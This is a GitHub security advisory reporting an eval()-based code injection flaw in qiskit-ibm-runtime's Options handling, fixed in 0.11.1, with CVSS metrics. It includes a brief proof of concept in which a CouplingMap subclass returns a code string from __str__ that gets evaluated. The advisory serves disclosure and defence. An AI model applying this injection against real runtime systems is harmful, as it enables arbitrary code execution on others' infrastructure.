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Dynamic Variable Evaluation in qiskit-ibm-runtime

Low severity GitHub Reviewed Published Mar 19, 2024 in Qiskit/qiskit-ibm-runtime • Updated Mar 20, 2024

Package

pip qiskit-ibm-runtime (pip)

Affected versions

>= 0.11.0, < 0.11.1

Patched versions

0.11.1

Description

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

References

@jyu00 jyu00 published to Qiskit/qiskit-ibm-runtime Mar 19, 2024
Published to the GitHub Advisory Database Mar 20, 2024
Reviewed Mar 20, 2024
Last updated Mar 20, 2024

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-cq96-9974-v8hm

Credits

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